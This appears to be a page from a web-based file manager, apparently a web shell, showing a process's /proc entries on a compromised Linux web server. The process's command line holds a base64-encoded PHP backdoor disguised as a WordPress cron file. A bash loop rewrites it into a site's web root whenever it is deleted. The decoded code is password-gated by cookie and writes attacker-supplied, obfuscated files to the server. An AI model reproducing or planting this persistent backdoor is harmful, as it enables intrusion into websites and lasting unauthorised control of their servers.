FM / 3316627

/proc/3316627

Name	Size	Mode	Actions
attr/	-	0555	rm
cwd/	-	0775	rm
fd/	-	0500	rm
fdinfo/	-	0555	rm
map_files/	-	0500	rm
net/	-	0555	rm
ns/	-	0511	rm
root/	-	0755	rm
task/	-	0555	rm
arch_status	0	0444	edit dl rm
autogroup	0	0644	edit dl rm
auxv	0	0400	edit dl rm
cgroup	0	0444	edit dl rm
clear_refs	0	0200	edit dl rm
cmdline	0	0444	edit dl rm
comm	0	0644	edit dl rm
coredump_filter	0	0644	edit dl rm
cpuset	0	0444	edit dl rm
cpu_resctrl_groups	0	0444	edit dl rm
environ	0	0400	edit dl rm
exe	1396520	0755	edit dl rm
gid_map	0	0644	edit dl rm
io	0	0400	edit dl rm
limits	0	0444	edit dl rm
loginuid	0	0644	edit dl rm
maps	0	0444	edit dl rm
mem	0	0600	edit dl rm
mountinfo	0	0444	edit dl rm
mounts	0	0444	edit dl rm
mountstats	0	0400	edit dl rm
numa_maps	0	0444	edit dl rm
oom_adj	0	0644	edit dl rm
oom_score	0	0444	edit dl rm
oom_score_adj	0	0644	edit dl rm
pagemap	0	0400	edit dl rm
patch_state	0	0400	edit dl rm
personality	0	0400	edit dl rm
projid_map	0	0644	edit dl rm
sched	0	0644	edit dl rm
schedstat	0	0444	edit dl rm
sessionid	0	0444	edit dl rm
setgroups	0	0644	edit dl rm
smaps	0	0444	edit dl rm
smaps_rollup	0	0444	edit dl rm
stack	0	0400	edit dl rm
stat	0	0444	edit dl rm
statm	0	0444	edit dl rm
status	0	0444	edit dl rm
syscall	0	0400	edit dl rm
timens_offsets	0	0644	edit dl rm
timers	0	0444	edit dl rm
timerslack_ns	0	0666	edit dl rm
uid_map	0	0644	edit dl rm
wchan	0	0444	edit dl rm

Edit: /proc/3316627/cmdline (0B)

bash�-c�while true; do [ -f /tmp/wp-cron-cehd.php ] || echo PD9waHAKZnVuY3Rpb24gZW5kc1dpdGgoJEZ1bGxTdHIsICRuZWVkbGUpIHsKCSRTdHJMZW4gPSBzdHJsZW4oJG5lZWRsZSk7CgkkRnVsbFN0ckVuZCA9IHN1YnN0cigkRnVsbFN0ciwgc3RybGVuKCRGdWxsU3RyKSAtICRTdHJMZW4pOwoJcmV0dXJuICRGdWxsU3RyRW5kID09ICRuZWVkbGU7Cn0KZnVuY3Rpb24gZm9sZGVyX29mX2ZpbGUoJHAxKXsKCWlmKCFzdHJpc3RyKCRwMSwgJy8nKSl7CgkJcmV0dXJuIHJlYWxwYXRoKCcuLycpOwoJfQoJaWYoc3RycG9zKCRwMSwgJy8vJykgIT09IGZhbHNlKXsKCQkkcDEgPSBzdHJfcmVwbGFjZSgnLy8nLCcvJywkcDEpOwoJfQoJaWYoZW5kc1dpdGgoJHAxLCAnLycpID09IHRydWUpewoJCSRwMSA9IHN1YnN0cl9yZXBsYWNlKCRwMSAsJycsIC0xKTsKCX0KCSRwMiA9ICcnOwoJJGFyID0gZXhwbG9kZSgnLycsICRwMSk7Cglmb3IoJGk9MTsgJGkgPCBjb3VudCgkYXIpIC0gMTsgJGkrKyl7CgkJJHAyIC49ICcvJy4kYXJbJGldOwoJfQoJaWYoJHAxWzBdID09ICcuJyAmJiAkcDFbMV0gPT0gJy8nKXsKCQkkcDIgPSAnLi8nLiRwMjsKCX0KCWlmKCRwMVswXSA9PSAnLicgJiYgJHAxWzFdID09ICcuJyl7CgkJJHAyID0gJy4uLycuJHAyOwoJfQoJaWYoc3RycG9zKCRwMiwgJy8vJykgIT09IGZhbHNlKXsKCQkkcDIgPSBzdHJfcmVwbGFjZSgnLy8nLCcvJywkcDIpOwoJfQoJcmV0dXJuIHRyaW0oJHAyKTsKfQpmdW5jdGlvbiBzYXZlKCRwYXRoLCAkc291cmNlKXsKCSRvcyA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpOwoJJGZvbGRlcl9QID0gZm9sZGVyX29mX2ZpbGUoJHBhdGgpOwoJaWYgKCFpc193cml0YWJsZSgkZm9sZGVyX1ApICYmICRvcyAhPSAid2luIil7IGNobW9kKCRmb2xkZXJfUCwgMDc1NSk7IH0KCWlmIChmaWxlX2V4aXN0cygkcGF0aCkgJiYgaXNfZmlsZSgkcGF0aCkgJiYgIWlzX3dyaXRhYmxlKCRwYXRoKSAmJiAkb3MgIT0gIndpbiIpeyBjaG1vZCgkcGF0aCwgMDY0NCk7IH0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSl7CgkJJHNhViA9IGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkc291cmNlKTsKCX1lbHNlewoJCSRzYVYgPSBmd3JpdGUoZm9wZW4oJHBhdGgsICd3JyksICRzb3VyY2UpOwoJfQoJcmV0dXJuICRzYVY7Cn0KaWYoIWVtcHR5KCRfR0VUWydhY3Rpb24nXSkpewoJZGllKCdTb3JyeSB0aGUgcGFnZSB5b3Ugd2VyZSBsb29raW5nIGZvciBjb3VsZCBub3QgYmUgZm91bmQuJyk7Cn0KaWYgKG1kNShtZDUobWQ1KCRfQ09PS0lFWydwd2QnXSkpKSAhPT0gJzBkNGY2OWJiMzhmMjM1NGE2ZDg5NmQ2YTIyMmE0YmY1JyB8fCBlbXB0eSgkX1BPU1RbJ25hbWUnXSkgfHwgZW1wdHkoJF9QT1NUWydhZ2UnXSkpewoJaGVhZGVyKCdIVFRQLzEuMSA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yJywgdHJ1ZSwgNTAwKTsKCWV4aXQoMCk7Cn0KJGIgPSAnYmEnLidzJy4nZScuJzYnLic0XycuJ2RlJy4nY28nLidkZSc7JHNydiA9ICdzdHInLidyZXYnOyRyb3QgPSAnc3RyJy4nXycuJ3JvdCcuJzEzJzsKc2F2ZSh0cmltKCRfUE9TVFsnbmFtZSddKSwgZ3p1bmNvbXByZXNzKCRiKCRzcnYoJHJvdCh0cmltKCRfUE9TVFsnYWdlJ10pKSkpKSk7CmVjaG8gJzxodG1sPjxjZW50ZXI+Li9Eb25lPC9jZW50ZXI+PC9odG1sPic7Cj8+ | base64 -d > /var/www/doncode.com.ua/www/wp-cron-cehd.php; sleep 1; done�

cmd: